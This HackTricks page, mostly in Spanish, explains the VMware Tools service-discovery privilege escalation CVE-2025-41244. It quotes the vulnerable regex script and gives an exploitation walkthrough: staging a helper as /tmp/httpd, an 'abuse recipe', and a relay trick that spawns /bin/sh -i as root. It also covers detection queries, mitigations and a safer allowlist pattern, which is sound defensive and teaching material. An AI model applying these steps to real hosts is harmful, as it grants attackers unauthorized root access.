VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)

Reading time: 8 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta técnica abusa de pipelines de service discovery impulsadas por regex que parsean las líneas de comando de procesos en ejecución para inferir versiones de servicios y luego ejecutan un binario candidato con una bandera de "version". Cuando patrones permisivos aceptan rutas no confiables controladas por el atacante (p. ej., /tmp/httpd), el collector privilegiado ejecuta un binario arbitrario desde una ubicación no confiable, provocando una elevación de privilegios local. NVISO documentó esto en VMware Tools/Aria Operations Service Discovery como CVE-2025-41244.

  • Impact: Elevación de privilegios local a root (o a la cuenta de discovery privilegiada)
  • Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
  • Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)

How VMware service discovery works (high level)

  • Credential-based (legacy): Aria ejecuta discovery scripts dentro del guest vía VMware Tools usando credenciales privilegiadas configuradas.
  • Credential-less (modern): La lógica de discovery se ejecuta dentro de VMware Tools, ya privilegiada en el guest.

Ambos modos, en última instancia, ejecutan lógica de shell que escanea procesos con sockets en escucha, extrae una ruta de comando coincidente mediante una regex y ejecuta el primer token argv con una bandera de versión.

Root cause and vulnerable pattern (open-vm-tools)

En open-vm-tools, el serviceDiscovery plugin script get-versions.sh hace coincidir binarios candidatos usando expresiones regulares amplias y ejecuta el primer token sin ninguna validación de ruta confiable:

bash
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}

Se invoca con patrones permisivos que contienen \S (carácter que no es espacio en blanco) que coincidirán fácilmente con non-system paths en user-writable locations:

bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
  • La extracción usa grep -Eo y toma el primer token: ${COMMAND%%[[:space:]]*}
  • No hay whitelist/allowlist de rutas del sistema confiables; cualquier listener descubierto con un nombre coincidente se ejecuta con -v/--version

Esto crea un untrusted search path execution primitive: binarios arbitrarios ubicados en directorios world-writable (p. ej., /tmp/httpd) son ejecutados por un componente privilegiado.

Explotación (tanto en modo sin credenciales como con credenciales)

Precondiciones

  • Puedes ejecutar un proceso sin privilegios que abra un socket de escucha en el guest.
  • La tarea de descubrimiento está habilitada y se ejecuta periódicamente (históricamente ~5 minutos).

Pasos

  1. Coloca un binario en una ruta que coincida con uno de los regex permisivos, p. ej. /tmp/httpd o ./nginx
  2. Ejecútalo como un usuario de bajos privilegios y asegúrate de que abra cualquier socket de escucha
  3. Espera el ciclo de discovery; el collector privilegiado ejecutará automáticamente: /tmp/httpd -v (o similar), ejecutando tu programa como root

Demostración mínima (usando el enfoque de NVISO)

bash
# Build any small helper that:
#  - default mode: opens a dummy TCP listener
#  - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
# Example staging and trigger
cp your_helper /tmp/httpd
chmod +x /tmp/httpd
/tmp/httpd          # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action

Linaje típico de procesos

  • Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
  • Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i

Artefactos (credential-based) Los scripts wrapper SDMP recuperados bajo /tmp/VMware-SDMP-Scripts-{UUID}/ pueden mostrar la ejecución directa de la ruta maliciosa:

bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"

Generalizando la técnica: regex-driven discovery abuse (portable pattern)

Muchos agentes y suites de monitorización implementan discovery de versiones/servicios mediante:

  • Enumerar procesos con sockets en escucha
  • Grepear argv/líneas de comando con regex permisivos (p. ej., patrones que contienen \S)
  • Ejecutar la ruta que coincide con una flag benigna como -v, --version, -V, -h

Si la regex acepta rutas no confiables y la ruta se ejecuta desde un contexto privilegiado, se produce CWE-426 Untrusted Search Path execution.

Abuse recipe

  • Nombra tu binario como demonios comunes que la regex probablemente vaya a coincidir: httpd, nginx, mysqld, dataserver
  • Colócalo en un directorio escribible: /tmp/httpd, ./nginx
  • Asegúrate de que coincida con la regex y abra cualquier puerto para ser enumerado
  • Espera al collector programado; obtendrás una invocación privilegiada automática de -v

Masquerading note: Esto se alinea con MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) para aumentar la probabilidad de coincidencia y el sigilo.

Truco reutilizable de relevo I/O privilegiado

  • Construye tu helper de forma que, en la invocación privilegiada (-v/--version), se conecte a un rendezvous conocido (p. ej., un socket UNIX abstracto de Linux como @cve) y haga puente entre stdio y /bin/sh -i. Esto evita artefactos en disco y funciona en muchos entornos donde el mismo binario se re-invoca con una flag.

Detection and DFIR guidance

Hunting queries

  • Hijos poco comunes de vmtoolsd o get-versions.sh como /tmp/httpd, ./nginx, /tmp/mysqld
  • Cualquier ejecución de rutas absolutas no del sistema por scripts de discovery (buscar espacios en expansiones ${COMMAND%%...})
  • ps -ef --forest para visualizar árboles de ascendencia: vmtoolsd -> get-versions.sh ->

On Aria SDMP (credential-based)

  • Inspeccionar /tmp/VMware-SDMP-Scripts-{UUID}/ en busca de scripts transitorios y artefactos stdout/stderr que muestren la ejecución de rutas del atacante

Policy/telemetry

  • Alertar cuando collectors privilegiados ejecuten desde prefijos no del sistema: ^/(tmp|home|var/tmp|dev/shm)/
  • Monitoreo de integridad de archivos en get-versions.sh y plugins de VMware Tools

Mitigations

  • Parche: Aplicar actualizaciones de Broadcom/VMware para CVE-2025-41244 (Tools and Aria Operations SDMP)
  • Deshabilitar o restringir discovery sin credenciales cuando sea factible
  • Validar rutas confiables: restringir la ejecución a directorios en la lista permitida (/usr/sbin, /usr/bin, /sbin, /bin) y solo a binarios exactos conocidos
  • Evitar regex permisivos con \S; preferir rutas absolutas ancladas y nombres de comando exactos
  • Reducir privilegios de los helpers de discovery cuando sea posible; aplicar sandbox (seccomp/AppArmor) para minimizar el impacto
  • Monitorear y alertar sobre ejecuciones de vmtoolsd/get-versions.sh desde rutas no del sistema

Notas para defensores e implementadores

Patrón más seguro de matching y ejecución

bash
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v

# Good: strict allowlist + path checks
candidate=$(get_command_line "$pid" | awk '{print $1}')
case "$candidate" in
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
"$candidate" -v 2>&1 ;;
*)
: # ignore non-allowlisted paths
;;
esac

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks